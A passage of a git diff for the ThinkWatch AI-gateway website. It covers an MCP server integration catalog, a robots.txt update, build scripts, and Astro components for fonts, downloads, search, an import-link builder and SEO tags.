文档操作、聚合、集合管理。如果用 Atlas 优先选 mongodb-atlas" + }, + "category": "database", + "tags": [ + "nosql", + "document" + ], + "auth_type": "none", + "auth_shape": "anonymous", + "auth_instructions": { + "en": "Deploy the MongoDB MCP and wrap with supergateway to expose HTTP", + "zh": "部署 MongoDB MCP 并用 supergateway 包装暴露 HTTP" + }, + "deploy_type": "docker", + "deploy_command": "npx -y mongodb-mcp-server --connectionString \"mongodb://USER:PASS@HOST:27017/DB\"", + "deploy_docs_url": "https://github.com/mongodb-js/mongodb-mcp-server", + "featured": false + }, + { + "slug": "mongodb-atlas", + "name": "MongoDB Atlas", + "description": { + "en": "Hosted MongoDB — clusters, collections, indexes, and queries via the official Atlas MCP", + "zh": "托管 MongoDB — 通过官方 Atlas MCP 管理集群、集合、索引和查询" + }, + "category": "database", + "tags": [ + "nosql", + "document", + "cloud" + ], + "endpoint_template": "https://mcp.mongodb.com", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://cloud.mongodb.com/v2#/account/access/api", + "auth_instructions": { + "en": "Create an Atlas API key (Project → Access Manager → Create API Key) and paste it.", + "zh": "在 Atlas 创建 API Key(Project → Access Manager → Create API Key)并粘贴。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://www.mongodb.com/docs/mcp-server/", + "featured": false + }, + { + "slug": "neon", + "name": "Neon (Postgres)", + "description": { + "en": "Serverless Postgres — branches, queries, and project management", + "zh": "Serverless Postgres — 分支、查询、项目管理" + }, + "category": "database", + "tags": [ + "sql", + "postgres", + "serverless" + ], + "endpoint_template": "https://mcp.neon.tech/mcp", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://console.neon.tech/app/settings/api-keys", + "auth_instructions": { + "en": "Create a Neon API key in the console and paste it.", + "zh": "在 Neon 控制台创建 API Key 并粘贴。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://neon.com/docs/ai/neon-mcp-server", + "featured": false + }, + { + "slug": "aws", + "name": "AWS", + "description": { + "en": "Manage S3 buckets, Lambda functions, EC2 instances, and more", + "zh": "管理 S3 存储桶、Lambda 函数、EC2 实例等" + }, + "category": "cloud", + "tags": [ + "infrastructure", + "devops" + ], + "auth_type": "api_key", + "auth_shape": "static", + "static_token_help_url": "https://console.aws.amazon.com/iam/home#/security_credentials", + "auth_instructions": { + "en": "Provide an AWS access-key pair (or assume-role token) for the MCP server", + "zh": "为 MCP 服务器提供 AWS Access Key 对(或假设角色令牌)" + }, + "deploy_type": "manual", + "featured": false + }, + { + "slug": "cloudflare", + "name": "Cloudflare", + "description": { + "en": "Manage DNS records, Workers, and edge configuration", + "zh": "管理 DNS 记录、Workers 和边缘配置" + }, + "category": "cloud", + "tags": [ + "cdn", + "dns", + "edge" + ], + "endpoint_template": "https://mcp.cloudflare.com", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://dash.cloudflare.com/profile/api-tokens", + "auth_instructions": { + "en": "Go to Cloudflare → My Profile → API Tokens → Create Token", + "zh": "前往 Cloudflare → 我的个人资料 → API 令牌 → 创建令牌" + }, + "deploy_type": "hosted", + "featured": false + }, + { + "slug": "digitalocean-apps", + "name": "DigitalOcean App Platform", + "description": { + "en": "Deploy and manage App Platform apps", + "zh": "部署和管理 App Platform 应用" + }, + "category": "cloud", + "tags": [ + "deploy", + "paas", + "cloud" + ], + "endpoint_template": "https://apps.mcp.digitalocean.com/mcp", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://cloud.digitalocean.com/account/api/tokens", + "auth_instructions": { + "en": "Create a personal access token in the DigitalOcean dashboard with the scopes you need.", + "zh": "在 DigitalOcean 控制台创建带所需 scope 的 personal access token。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://docs.digitalocean.com/reference/mcp/", + "featured": false + }, + { + "slug": "digitalocean-databases", + "name": "DigitalOcean Databases", + "description": { + "en": "Managed Postgres / MySQL / Redis / Kafka clusters", + "zh": "托管的 Postgres / MySQL / Redis / Kafka 集群" + }, + "category": "cloud", + "tags": [ + "databases", + "cloud" + ], + "endpoint_template": "https://databases.mcp.digitalocean.com/mcp", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://cloud.digitalocean.com/account/api/tokens", + "auth_instructions": { + "en": "Same DigitalOcean PAT as the App Platform MCP — reuse if you've already created one.", + "zh": "同 App Platform MCP 的 DigitalOcean PAT — 已创建过可复用。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://docs.digitalocean.com/reference/mcp/", + "featured": false + }, + { + "slug": "slack", + "name": "Slack", + "description": { + "en": "Send messages, manage channels, and search workspace", + "zh": "发送消息、管理频道、搜索工作区" + }, + "category": "communication", + "tags": [ + "chat", + "messaging" + ], + "auth_type": "bearer", + "auth_shape": "static", + "auth_instructions": { + "en": "Slack hosted MCP gates installation behind their app-marketplace allowlist, which a DCR-registered ThinkWatch client cannot satisfy. Run a self-hosted Slack MCP server (or the npm slack-mcp package) and paste the bot token (xoxb-…) here.", + "zh": "Slack hosted MCP 走 app marketplace 白名单,DCR 注册的 ThinkWatch 客户端通不过审核。请自部署 Slack MCP 服务器(npm slack-mcp 等),把 Bot Token(xoxb-…)粘到这里。" + }, + "deploy_type": "manual", + "featured": true, + "static_token_help_url": "https://api.slack.com/apps" + }, + { + "slug": "discord", + "name": "Discord", + "description": { + "en": "Send messages, manage channels, and moderate servers", + "zh": "发送消息、管理频道和服务器管理" + }, + "category": "communication", + "tags": [ + "chat", + "gaming" + ], + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://discord.com/developers/applications", + "auth_instructions": { + "en": "Go to Discord Developer Portal → Applications → Bot → Copy token", + "zh": "前往 Discord 开发者门户 → 应用 → Bot → 复制 Token" + }, + "deploy_type": "manual", + "featured": false + }, + { + "slug": "intercom", + "name": "Intercom", + "description": { + "en": "Customer conversations, contacts, and help center articles", + "zh": "客户对话、联系人和帮助中心文章" + }, + "category": "communication", + "tags": [ + "support", + "messaging", + "crm" + ], + "endpoint_template": "https://mcp.intercom.com/sse", + "auth_type": "oauth", + "auth_shape": "oauth", + "auth_instructions": { + "en": "Click Install → authorize Intercom via OAuth.", + "zh": "点击安装 → 通过 OAuth 授权 Intercom。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://developers.intercom.com/docs/mcp", + "featured": false + }, + { + "slug": "microsoft-docs", + "name": "Microsoft Docs", + "description": { + "en": "Search and browse Microsoft Learn documentation (Azure, .NET, Office, etc.)", + "zh": "搜索和浏览微软文档(Azure、.NET、Office 等)" + }, + "category": "knowledge", + "tags": [ + "docs", + "microsoft", + "azure" + ], + "endpoint_template": "https://learn.microsoft.com/api/mcp", + "auth_type": "none", + "auth_shape": "anonymous", + "deploy_type": "hosted", + "featured": false + }, + { + "slug": "aws-docs", + "name": "AWS Documentation", + "description": { + "en": "Search and browse AWS service documentation", + "zh": "搜索和浏览 AWS 服务文档" + }, + "category": "knowledge", + "tags": [ + "docs", + "aws", + "cloud" + ], + "endpoint_template": "https://knowledge-mcp.global.api.aws", + "auth_type": "none", + "auth_shape": "anonymous", + "deploy_type": "hosted", + "featured": false + }, + { + "slug": "huggingface", + "name": "Hugging Face", + "description": { + "en": "Search models, datasets, and Spaces", + "zh": "搜索模型、数据集和 Spaces" + }, + "category": "knowledge", + "tags": [ + "ai", + "models", + "datasets" + ], + "endpoint_template": "https://huggingface.co/mcp", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://huggingface.co/settings/tokens", + "auth_instructions": { + "en": "Optional — anonymous browsing works; a Hugging Face token unlocks private repos and higher rate limits.", + "zh": "可选 — 匿名浏览也可用;Hugging Face token 可访问私有仓库并提高速率限制。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://huggingface.co/docs/hub/en/mcp", + "featured": false + }, + { + "slug": "deepwiki", + "name": "DeepWiki", + "description": { + "en": "AI-generated documentation and Q&A over public GitHub repos", + "zh": "公开 GitHub 仓库的 AI 生成文档和问答" + }, + "category": "knowledge", + "tags": [ + "docs", + "github", + "code" + ], + "endpoint_template": "https://mcp.deepwiki.com/mcp", + "auth_type": "none", + "auth_shape": "anonymous", + "auth_instructions": { + "en": "Public service — no credentials. Ask questions about any public GitHub repo.", + "zh": "公共服务 — 无需凭证。可向任何公开 GitHub 仓库提问。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://docs.devin.ai/work-with-devin/deepwiki-mcp", + "featured": false + }, + { + "slug": "context7", + "name": "Context7", + "description": { + "en": "Up-to-date code library docs for popular npm/pip/go packages", + "zh": "热门 npm/pip/go 包的最新代码库文档" + }, + "category": "knowledge", + "tags": [ + "docs", + "libraries", + "code" + ], + "endpoint_template": "https://mcp.context7.com/mcp", + "auth_type": "none", + "auth_shape": "anonymous", + "auth_instructions": { + "en": "Public service — no credentials.", + "zh": "公共服务 — 无需凭证。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://context7.com/", + "featured": false + }, + { + "slug": "exa", + "name": "Exa Search", + "description": { + "en": "LLM-optimized semantic web search and content extraction", + "zh": "面向 LLM 的语义网页搜索和正文提取" + }, + "category": "utility", + "tags": [ + "search", + "web", + "ai" + ], + "endpoint_template": "https://mcp.exa.ai", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://dashboard.exa.ai/api-keys", + "auth_instructions": { + "en": "Create an Exa API key in the dashboard and paste it.", + "zh": "在 Exa 控制台创建 API Key 并粘贴。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://docs.exa.ai/reference/mcp", + "featured": true + }, + { + "slug": "firecrawl", + "name": "Firecrawl", + "description": { + "en": "Crawl and scrape websites into clean Markdown", + "zh": "爬取并抓取网页转为干净的 Markdown" + }, + "category": "utility", + "tags": [ + "scraping", + "web", + "extract" + ], + "endpoint_template": "https://mcp.firecrawl.dev", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://www.firecrawl.dev/app/api-keys", + "auth_instructions": { + "en": "Create a Firecrawl API key in the dashboard and paste it.", + "zh": "在 Firecrawl 控制台创建 API Key 并粘贴。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://docs.firecrawl.dev/mcp", + "featured": false + }, + { + "slug": "replicate", + "name": "Replicate", + "description": { + "en": "Run hosted ML models — image / video / audio generation", + "zh": "运行托管 ML 模型 — 图像 / 视频 / 音频生成" + }, + "category": "utility", + "tags": [ + "ai", + "models", + "inference" + ], + "endpoint_template": "https://mcp.replicate.com", + "auth_type": "bearer", + "auth_shape": "static", + "static_token_help_url": "https://replicate.com/account/api-tokens", + "auth_instructions": { + "en": "Create a Replicate API token and paste it.", + "zh": "创建 Replicate API token 并粘贴。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://replicate.com/docs/topics/mcp", + "featured": false + }, + { + "slug": "zapier", + "name": "Zapier", + "description": { + "en": "Cross-system automation — trigger Zaps and call thousands of integrations from the agent", + "zh": "跨系统自动化 — 让 Agent 触发 Zap 并调用数千个集成" + }, + "category": "utility", + "tags": [ + "automation", + "ipaas", + "integration" + ], + "endpoint_template": "https://mcp.zapier.com", + "auth_type": "oauth", + "auth_shape": "oauth", + "auth_instructions": { + "en": "Click Install → authorize Zapier via OAuth. Select which Zaps the agent is allowed to invoke.", + "zh": "点击安装 → 通过 OAuth 授权 Zapier。选择 Agent 可以触发的 Zap。" + }, + "deploy_type": "hosted", + "deploy_docs_url": "https://zapier.com/mcp", + "featured": false + } + ] +} \ No newline at end of file diff --git a/public/robots.txt b/public/robots.txt index ebdc5b1..311b35e 100644 --- a/public/robots.txt +++ b/public/robots.txt @@ -1,4 +1,11 @@ +# ThinkWatch — https://thinkwat.ch +# Full crawl permitted for all user agents. + User-agent: * Allow: / +Disallow: /pagefind/ + +# GPTBot, Claude-Web, etc. — allow by default. +# Override here if you want to opt out of a specific crawler. Sitemap: https://thinkwat.ch/sitemap-index.xml diff --git a/scripts/generate-og.mjs b/scripts/generate-og.mjs deleted file mode 100644 index 310f882..0000000 --- a/scripts/generate-og.mjs +++ /dev/null @@ -1,19 +0,0 @@ -// Render scripts/og-image.svg → public/og-image.png (1200x630). -// Run with: node scripts/generate-og.mjs -import sharp from "sharp"; -import { readFile, writeFile } from "node:fs/promises"; -import { fileURLToPath } from "node:url"; -import { dirname, resolve } from "node:path"; - -const here = dirname(fileURLToPath(import.meta.url)); -const svgPath = resolve(here, "og-image.svg"); -const outPath = resolve(here, "..", "public", "og-image.png"); - -const svg = await readFile(svgPath); -const png = await sharp(svg, { density: 300 }) - .resize(1200, 630, { fit: "cover" }) - .png({ compressionLevel: 9 }) - .toBuffer(); - -await writeFile(outPath, png); -console.log(`✓ Wrote ${outPath} (${(png.length / 1024).toFixed(1)} kB)`); diff --git a/scripts/og-image.svg b/scripts/og-image.svg deleted file mode 100644 index bc8f5d5..0000000 --- a/scripts/og-image.svg +++ /dev/null @@ -1,77 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ThinkWatch - - - - - - - v0.1.0 — PUBLIC PREVIEW - - - - - The secure gateway - for all your AI traffic - - - - - One control plane. Every model request. Every MCP tool call. Authenticated, audited, accounted for. - - - - - RUST + AXUM - · - 2 MB DISTROLESS - · - OPENAI · ANTHROPIC · GEMINI · BEDROCK - · - BSL 1.1 - - - - thinkwat.ch - diff --git a/scripts/update-core-docs.mjs b/scripts/update-core-docs.mjs new file mode 100644 index 0000000..680a59c --- /dev/null +++ b/scripts/update-core-docs.mjs @@ -0,0 +1,18 @@ +// Refresh src/data/core-docs, the committed copy of the ThinkWatch Core +// documents this site publishes (the configuration reference and the server +// deployment guide), from the latest Core release. The build always fetches +// the documents itself and uses this copy only when GitHub cannot be reached; +// it warns when the copy no longer matches. See src/lib/core-docs.mjs. +// +// Run with: pnpm core-docs (GITHUB_TOKEN is used when set; CORE_DOCS_REF +// takes another tag). +import { fileURLToPath } from "node:url"; + +// Paths in core-docs.mjs are relative to the project root. +process.chdir(fileURLToPath(new URL("..", import.meta.url))); +const { coreDocsRef, fetchCoreDocs, SNAPSHOT_DIR, writeSnapshot } = await import("../src/lib/core-docs.mjs"); + +const ref = await coreDocsRef(); +const docs = await fetchCoreDocs(ref); +await writeSnapshot(docs); +console.log(`✓ Wrote ${SNAPSHOT_DIR} from ThinkWatch Core ${ref} (${Object.keys(docs.files).join(", ")})`); diff --git a/scripts/update-releases.mjs b/scripts/update-releases.mjs new file mode 100644 index 0000000..bf18f8f --- /dev/null +++ b/scripts/update-releases.mjs @@ -0,0 +1,21 @@ +// Refresh src/data/releases.json, the copy of the GitHub releases that the +// build uses when GitHub cannot be reached (rate limit, no network). The build +// itself always asks GitHub first, so this file only needs refreshing now and +// then. Run with: pnpm releases (GITHUB_TOKEN is used when set). +import { writeFile } from "node:fs/promises"; +import { fileURLToPath } from "node:url"; +import { dirname, resolve } from "node:path"; +import { fetchReleases, productRepos } from "../src/lib/releases.mjs"; + +const here = dirname(fileURLToPath(import.meta.url)); +const outPath = resolve(here, "..", "src", "data", "releases.json"); + +/** @type {import("../src/lib/releases.mjs").Release[]} */ +const releases = []; +for (const product of /** @type {(keyof typeof productRepos)[]} */ (Object.keys(productRepos))) { + releases.push(...(await fetchReleases(product))); +} +releases.sort((a, b) => b.date.localeCompare(a.date) || a.product.localeCompare(b.product)); + +await writeFile(outPath, `${JSON.stringify(releases, null, 2)}\n`); +console.log(`✓ Wrote ${outPath} (${releases.length} releases)`); diff --git a/src/components/Bi.astro b/src/components/Bi.astro new file mode 100644 index 0000000..50b6877 --- /dev/null +++ b/src/components/Bi.astro @@ -0,0 +1,20 @@ +--- +// A piece of text in the page's language. On a page that picks its language in +// the browser (the 404 page: GitHub Pages serves one for every language), both +// are rendered and the page's script shows the visitor's. +import { getLang } from "~/i18n"; + +interface Props { + en: string; + zh: string; + /** Render both languages for the page's script to choose from */ + both?: boolean; +} + +const { en, zh, both = false } = Astro.props; +const lang = getLang(Astro); +--- + +{both ? ( + {en} +) : lang === "zh-CN" ? zh : en} diff --git a/src/components/CopyCommand.astro b/src/components/CopyCommand.astro new file mode 100644 index 0000000..925d3a9 --- /dev/null +++ b/src/components/CopyCommand.astro @@ -0,0 +1,58 @@ +--- +// A shell command with a copy button. A long command wraps rather than +// scrolling out of sight, so the whole of it can be read before it is run. +// Used for the twcore install command on the Core page and on the home page. +import { getLang, t } from "~/i18n"; + +interface Props { + command: string; + /** Colour and size of the command text */ + class?: string; +} + +const { command, class: className = "text-[#e6ebf2] text-[15px] sm:text-base" } = Astro.props; +const ui = t(getLang(Astro)).common; +--- + +
+ {/* One line: the command wraps with white-space: pre-wrap, which would keep indentation as a leading space */} + $ {command} + +
+ + + + diff --git a/src/components/Fonts.astro b/src/components/Fonts.astro new file mode 100644 index 0000000..7ca1dbe --- /dev/null +++ b/src/components/Fonts.astro @@ -0,0 +1,34 @@ +--- +// The site's fonts, Geist and Geist Mono, served from this site. They used to +// come from Google Fonts, whose stylesheet blocks the first paint until it has +// loaded; where Google cannot be reached, as in mainland China without a +// proxy, a page then stayed blank for about 30 seconds. +// +// The files are the Fontsource builds of the Google Fonts releases, bundled by +// Vite under hashed names. As on Google Fonts, each weight is split into +// subsets by unicode-range, so a browser downloads only the subsets a page +// uses (Latin, for these pages), and every face uses font-display: swap. +// Chinese text is set in the system's own font (--font-sans in global.css), so +// no CJK font is downloaded. Until Geist has loaded, text is set in a local +// font adjusted to Geist's metrics ("Geist Fallback" in global.css), so the +// swap does not move the layout. +// +// The Latin files of the weights on every page are preloaded: 400 for text, +// 500 for navigation and buttons, 600 for headings, and Geist Mono 400 for the +// labels above them. The Open Graph images are drawn from the same packages +// (src/lib/og.ts). +import "@fontsource/geist/400.css"; +import "@fontsource/geist/500.css"; +import "@fontsource/geist/600.css"; +import "@fontsource/geist/700.css"; +import "@fontsource/geist-mono/400.css"; +import "@fontsource/geist-mono/500.css"; +import geist400 from "@fontsource/geist/files/geist-latin-400-normal.woff2?url"; +import geist500 from "@fontsource/geist/files/geist-latin-500-normal.woff2?url"; +import geist600 from "@fontsource/geist/files/geist-latin-600-normal.woff2?url"; +import geistMono400 from "@fontsource/geist-mono/files/geist-mono-latin-400-normal.woff2?url"; + +const preload = [geist400, geist500, geist600, geistMono400]; +--- + +{preload.map((href) => )} diff --git a/src/components/ImportLinkBuilder.astro b/src/components/ImportLinkBuilder.astro new file mode 100644 index 0000000..b87cd4a --- /dev/null +++ b/src/components/ImportLinkBuilder.astro @@ -0,0 +1,482 @@ +--- +// The link builder on the "Import links" page of the Lite docs. It runs in the +// browser only: the form asks what the New upstream dialog asks for the chosen +// service and authentication method, the values are checked with the same rules +// as the app (src/lib/import-link.ts), and the two links are written with +// textContent. Nothing is sent anywhere. +import { getLang } from "~/i18n"; +import { BALANCES, BILLINGS, SERVICES, SITES } from "~/lib/import-link"; +import { importLinkText } from "~/lib/import-link-text"; + +const lang = getLang(Astro); +const zh = lang === "zh-CN"; +const shared = importLinkText(zh); +const L = shared.labels; + +const t = zh + ? { + heading: "链接生成器", + note: "在浏览器中生成,不发送任何内容。", + optional: "(可选)", + auto: "自动识别", + defaultBalance: "自动识别", + defaultBilling: "服务的默认值", + clientIdentityOn: "开启", + urlOptional: "留空时使用标准地址。", + regionHint: "标准地址按区域生成;其他地址在使用访问密钥时按此区域签名。", + perLine: "每行一项。", + commaSeparated: "以逗号分隔。", + appLink: "应用链接", + webLink: "网页链接", + copy: "复制", + copied: "已复制", + fill: "选择服务类型并填写设置后生成链接。", + worksBefore: "此链接也适用于更早版本的 ThinkWatch Lite。", + rules: { + name: "最多 64 个字符,首尾无空白,不含 / \\ $ { } < > \" `,不以 __ 开头。", + url: "须为 https 地址(http 仅限本机与内网地址,见上文),不含账号、查询串、片段、空白与 % $ { } 等字符。", + key: "只能包含字母、数字与 - _ . ~ + / = :,最长 512 个字符。", + long: "只能包含字母、数字与 - _ . ~ + / = :,最长 4096 个字符。", + region: "小写字母、数字与连字符,例如 us-east-1。", + awsId: "大写字母与数字,16 到 128 个字符。", + headers: "每行一个「名称: 值」,最多 16 行,名称不重复,值为可打印 ASCII;鉴权、Cookie、Host、内容与连接相关的请求头、User-Agent 及 proxy-*、sec-* 开头的请求头不接受。", + concurrency: "1 到 1000 之间的整数。", + models: "模型 ID 以逗号分隔,只含字母、数字与 - _ . : / @ +,最多 64 项。", + modelsOnly: "模型 ID 或含 * ? 的通配规则,以逗号分隔,最多 64 项。", + specs: "每行一个 model|context|max_output|reasoning|image:数值为 1 到 10000000,reasoning 与 image 为 y 或 n,至少填写一项。", + multiplier: "大于 0、不超过 100 的数,最多 6 位小数。", + prices: "每行一个 model|input|output|cache_read|cache_write_5m|cache_write_1h,单位为美元 / 百万 tokens;缓存单价可省略,省略时等于输入单价。", + }, + } + : { + heading: "Link builder", + note: "Runs in the browser; nothing is sent.", + optional: " (optional)", + auto: "Auto-detect", + defaultBalance: "Auto-detect", + defaultBilling: "The service's default", + clientIdentityOn: "On", + urlOptional: "Leave empty for the standard address.", + regionHint: "Standard addresses follow the region; with access keys, another address is signed for this region.", + perLine: "One per line.", + commaSeparated: "Comma-separated.", + appLink: "App link", + webLink: "Web link", + copy: "Copy", + copied: "Copied", + fill: "Choose the service and fill in the settings to generate the links.", + worksBefore: "This link also works with earlier versions of ThinkWatch Lite.", + rules: { + name: "At most 64 characters, no leading or trailing spaces, none of / \\ $ { } < > \" `, and not starting with __.", + url: "An https address (http only on this computer or a private network, as described above) without credentials, a query, a fragment, spaces or characters such as % $ { }.", + key: "Letters, digits and - _ . ~ + / = : only, up to 512 characters.", + long: "Letters, digits and - _ . ~ + / = : only, up to 4096 characters.", + region: "Lowercase letters, digits and hyphens, such as us-east-1.", + awsId: "Uppercase letters and digits, 16 to 128 characters.", + headers: "One Name: Value per line, at most 16, no repeated names, printable ASCII values; authentication, cookie, host, content and connection headers, User-Agent, and names starting with proxy- or sec- are not accepted.", + concurrency: "A whole number from 1 to 1000.", + models: "Comma-separated model IDs of letters, digits and - _ . : / @ +, at most 64.", + modelsOnly: "Comma-separated model IDs or patterns with * and ?, at most 64.", + specs: "One model|context|max_output|reasoning|image per line: numbers from 1 to 10000000, y or n, at least one field filled.", + multiplier: "A number above 0 and at most 100, with up to six decimals.", + prices: "One model|input|output|cache_read|cache_write_5m|cache_write_1h per line, in USD per million tokens; a cache price left out is the input price.", + }, + }; + +/** Which rule explains a rejected value */ +const ruleOf: Record = { + name: "name", + url: "url", + oauth_endpoint: "url", + key: "key", + oauth_client_id: "key", + oauth_client_secret: "key", + aws_secret_access_key: "key", + oauth_refresh: "long", + aws_session_token: "long", + region: "region", + aws_access_key_id: "awsId", + headers: "headers", + concurrency: "concurrency", + models: "models", + models_only: "modelsOnly", + specs: "specs", + price_multiplier: "multiplier", + prices: "prices", +}; + +const strings = { ...shared, ...t, ruleOf }; + +const input = + "w-full rounded-lg border border-[var(--color-border-strong)] bg-[var(--color-bg)] px-3 py-2 font-mono text-sm text-[var(--color-text)] outline-none focus:border-[var(--color-brand-1)]"; +const labelCls = "mb-1.5 block text-sm text-[var(--color-muted)]"; +const hintCls = "mt-1 block text-xs leading-relaxed text-[var(--color-muted)]"; +const legendCls = "mb-3 text-sm font-medium text-[var(--color-text)]"; +const fieldsetCls = "grid gap-4 border-t border-[var(--color-border)] pt-5"; +--- + +
+

{t.heading}

+

{t.note}

+ +
+
+ {shared.groups.service} + + + +
+ +
+ {shared.groups.connection} + +
+ + + +
+ +
+ + + + + + + +
+
+ +
+ {shared.groups.advanced} + +
+ + + +
+
+ +
+ {shared.groups.models} +
+ + +
+ +
+ +
+ {shared.groups.billing} +
+ + +
+ +
+
+ +

{t.fill}

+ + +
+ + diff --git a/src/components/LiteDownload.astro b/src/components/LiteDownload.astro new file mode 100644 index 0000000..eb9a8d5 --- /dev/null +++ b/src/components/LiteDownload.astro @@ -0,0 +1,126 @@ +--- +// One button that downloads Lite for the visitor's machine, so getting the app +// takes one click instead of home → Lite page → install section → button. +// +// The download URLs and sizes come from the latest release's asset list at +// build time (the file names carry the version). Files are matched by the end of +// their names (ThinkWatch-Lite--windows-x64-setup.exe ends in +// -x64-setup.exe), which releases from before the - names share. The +// Windows button stays on the installer; the portable zip is on the Lite page. Without script, or for a machine there is +// no build for (a phone, an Intel Mac), the button leads to the install +// section instead, which lists every option. So does a Linux machine while the +// latest release has no AppImage for it. +import { getLang, localePath } from "~/i18n"; +import { formatSize, getLatestLiteRelease } from "~/lib/github"; + +interface Props { + /** Filled for the page's main action; outlined where it sits beside other actions. */ + variant?: "solid" | "outline"; +} +const { variant = "solid" } = Astro.props; +const lang = getLang(Astro); +const zh = lang === "zh-CN"; + +const release = await getLatestLiteRelease(); +const assetName = (suffix: string) => Object.keys(release?.assets ?? {}).find((n) => n.endsWith(suffix)); +const asset = (suffix: string) => { + const name = assetName(suffix); + return name ? release!.assets[name] : ""; +}; +const size = (suffix: string) => { + const name = assetName(suffix); + return formatSize(name ? release!.sizes[name] : null) ?? ""; +}; +const version = release?.tag.replace(/^v/, "") ?? ""; +const install = `${localePath(lang, "/lite")}#install`; + +const t = zh + ? { install: "安装", mac: "下载 macOS 版", win: "下载 Windows 版", linux: "下载 Linux 版", version: "版本" } + : { install: "Install", mac: "Download for macOS", win: "Download for Windows", linux: "Download for Linux", version: "Version" }; + +const base = + "inline-flex min-h-11 items-center justify-center rounded-full px-[22px] py-3 text-base font-semibold transition"; +const look = + variant === "solid" + ? "bg-[#f7f8f8] text-[#08090a] hover:bg-white hover:shadow-[0_8px_30px_-8px_rgba(34,229,242,0.5)]" + : "border border-white/15 text-white hover:bg-white/5 hover:border-white/25"; +--- + +
+ {t.install} + {/* 版本那一行比按钮宽。**并排的时候不让它占宽度**,悬在按钮下面 —— 占着的 + 话它会把整列撑宽,旁边那个链接就被推出去老远 */} + +
+ + + diff --git a/src/components/NeonMotion.astro b/src/components/NeonMotion.astro new file mode 100644 index 0000000..42060a3 --- /dev/null +++ b/src/components/NeonMotion.astro @@ -0,0 +1,48 @@ +--- +// Page motion for the neon design language (see "Neon design language" in +// src/styles/global.css): blocks marked .nx-in move into place as they come +// into view, .nx-tile surfaces light up under the pointer, and figures marked +// data-count tick up while the page is visible. Everything reads the same +// without it; with reduced motion only the pointer light stays. +--- + + diff --git a/src/components/SearchModal.astro b/src/components/SearchModal.astro new file mode 100644 index 0000000..b323630 --- /dev/null +++ b/src/components/SearchModal.astro @@ -0,0 +1,398 @@ +--- +import { getLang } from "~/i18n"; +import Bi from "./Bi.astro"; + +interface Props { + /** Render the text in both languages for the page's script to choose from (the 404 page; see Bi.astro) */ + bilingual?: boolean; +} + +const { bilingual = false } = Astro.props; +const lang = getLang(Astro); +const text = { + placeholder: { en: "Search docs…", zh: "搜索文档…" }, + button: { en: "Search", zh: "搜索" }, + emptyHint: { en: "Start typing to search the docs.", zh: "开始输入以搜索文档。" }, + noResults: { en: "No results", zh: "未找到结果" }, + // Used when the page is a product's docs page (DocsLayout sets data-docs-product). + scopedPlaceholder: { en: "Search {product} docs…", zh: "搜索 {product} 文档…" }, + scopeLabel: { en: "Scope", zh: "范围" }, + scopeAll: { en: "All docs", zh: "全部文档" }, + scopeProduct: { en: "{product} docs", zh: "{product} 文档" }, +}; +const pick = (k: keyof typeof text) => (lang === "zh-CN" ? text[k].zh : text[k].en); +const placeholder = pick("placeholder"); +const buttonLabel = pick("button"); +const emptyHint = pick("emptyHint"); +const noResults = pick("noResults"); +const scopedPlaceholder = pick("scopedPlaceholder"); +const scopeProduct = pick("scopeProduct"); +/** On a bilingual page, attributes the page's script swaps in for Chinese visitors */ +const zhAttrs = (attrs: Record) => (bilingual ? JSON.stringify(attrs) : undefined); +--- + + + + + + +
+
+ + + +
+ + + +
+
+
+
+
+ + + + diff --git a/src/components/Seo.astro b/src/components/Seo.astro new file mode 100644 index 0000000..e24126a --- /dev/null +++ b/src/components/Seo.astro @@ -0,0 +1,104 @@ +--- +import type { Lang } from "~/i18n"; +import { OG_HEIGHT, OG_WIDTH } from "~/lib/og"; +import { organization, type JsonLd } from "~/lib/structured-data"; + +interface Props { + title: string; + description: string; + /** Left out on pages kept out of search results */ + canonical?: string; + lang: Lang; + /** Site-relative path of the Open Graph image, and its description */ + ogImage: string; + ogImageAlt: string; + ogType: "website" | "article"; + /** For articles: first published and last changed, as ISO timestamps */ + published?: string; + modified?: string; + /** Keep the page out of search results (the 404 page) */ + noindex?: boolean; + /** The page's own JSON-LD items; the Organization is added on every page */ + jsonLd?: JsonLd[]; +} + +const { + title, + description, + canonical, + lang, + ogImage, + ogImageAlt, + ogType, + published, + modified, + noindex = false, + jsonLd = [], +} = Astro.props; + +// Build the cross-locale alternate URLs from the canonical path. +// Example: canonical = "https://thinkwat.ch/docs/architecture/" +// → enHref = "https://thinkwat.ch/docs/architecture/" +// → zhHref = "https://thinkwat.ch/zh-CN/docs/architecture/" +const rawPath = canonical ? new URL(canonical).pathname.replace(/^\/zh-CN/, "") || "/" : undefined; +const enHref = rawPath && new URL(rawPath, Astro.site).toString(); +const zhHref = rawPath && new URL(`/zh-CN${rawPath === "/" ? "/" : rawPath}`, Astro.site).toString(); + +const absoluteOgImage = new URL(ogImage, Astro.site).toString(); +const ogLocale = lang === "zh-CN" ? "zh_CN" : "en_US"; +const ogLocaleAlternate = lang === "zh-CN" ? "en_US" : "zh_CN"; +const robots = noindex ? "noindex" : "index, follow, max-image-preview:large, max-snippet:-1"; + +// `<` is escaped so that no string can close the script element early. +const allJsonLd = [organization, ...jsonLd].map((item) => JSON.stringify(item).replace(/{title} + +{/* The canonical URL and its hreflang alternates */} +{canonical && ( + + + + + + +)} + + + + + + + + + + + + + +{canonical && } + + + + + + + +{ogType === "article" && published && } +{ogType 